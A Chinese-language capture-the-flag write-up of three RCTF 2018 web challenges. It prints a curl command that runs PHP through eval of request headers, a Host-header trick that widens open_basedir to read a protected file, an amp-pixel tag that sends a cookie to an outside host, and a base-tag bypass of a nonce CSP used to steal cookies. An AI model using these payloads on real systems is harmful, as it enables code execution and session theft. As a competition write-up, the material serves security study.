RCTF刚好赶上了完成毕设的时间,没办法只接触了部分题目,可惜的是,其中很多题目都不是特别有意思,这里只整理部分我参与的..
r-cursive
1 | LUL dat font |
蛮神奇的一题,题目代码是这样的
1 |
|
访问?action=go
之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码
1 |
|
简单来说就是这里只能调用函数,没办法传入字符串,绕过比较简单。
1 | curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda" |
通过获取headers的方式,我们可以通过设置ua来传入字符串,成功执行我想要的命令。这里我们先看看phpinfo的内容。
1 | disable_classes: |
由于前两项的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议来列一部分目录。
1 | if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);} |
经过一段时间的锁定,我们可以发现flag只能是在/var/www/sandbox/init.php
文件里,但问题在于,在禁用了这些函数之后,我们无法绕过这里的限制。
所以我们可能需要想更巧妙地方法来绕过这里的限制,对于不同的请求来说,open_basedir
都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果我们请求的host中不包含这个sha1的字符串,那么是不是我们可以让后端无法获取到这个字符串,就会将open_basedir
设置为/var/www/sandbox
,我们就可以读取这个目录下的文件了。
需要注意的是,当前目录也会随之改变,而当前目录是没有index.php的,所以我们需要加上目录。
1 | ubuntu@VM-181-46-ubuntu:~$ curl "http://47933bf3ea6c89fb70bb9c63930d414a4c4a70ae.sandbox.r-cursive.ml:1337/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml" |
amp
1 | Building the future web, together. |
题目特别简单,页面内含有CSP,比较松但却开启了nonce CSP,完成的CSP头如下
1 | script-src 'nonce-88f68fa5b7eb8a01de8b8e63b5fb0a6e' 'strict-dynamic'; style-src 'unsafe-inline' |
题目中也很明白,没有任何标签过滤,然后页面中引入了google amp的框架,那么我们只要找一个amp文档中的gadgets,然后获取当前页面cookie就好了,不知道是不是我语法不对…
在翻阅文档的时候发现一个特殊的标签
https://www.ampproject.org/docs/analytics/analytics_basics#variable-substitution
这个标签不仅仅会发送请求,还有读取cookie的支持,就像这样
1 | <amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel> |
其中site-user-id-cookie-fallback-name为cookie的名字,这样发送到服务端就会获取到返回flag了。
rblog1
1 | get `document.cookie` |
还算是一道比较神奇的题目,怎么说呢,预期解感觉脑洞成分大很多,非预期解蛮有意思的。
站内功能很普通,与0ctf中的club题目一致,提交表单包括title和content,其中title没有转义,effect可控,出现点在引入js的地方。
页面中使用了nonce CSP
1 | default-src 'none'; script-src 'nonce-4fad2fa7830a95f09b6e6b3691e37d18'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self' |
本来我们的关注点都在effect这里
1 | <script nonce="cb34dfb2531ce837c8ecdc0cae067938" src="/assets/js/effects/[you control].min.js"></script> |
但script是个特殊标签,src无法覆盖,而且外链是大于内联js,所以我们也无法执行js,唯一的办法是通过上传接口上传文件,然后通过设置effect为../../../uploads/xxx
来引入,则为可控,但上传接口对文件有判断,无法轻易fuzz,所以暂时把这里放下了。
这里我们用了非预期的解法,base标签
在title我们引入的标签没有被转义,而且CSP中没有设置base标签,那么我们直接通过base标签设置当前域,其中的相对目录就会引入我们想要的js。
拿到cookie
1 | 115.159.200.107 - - [20/May/2018:07:02:09 +0000] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 2261 |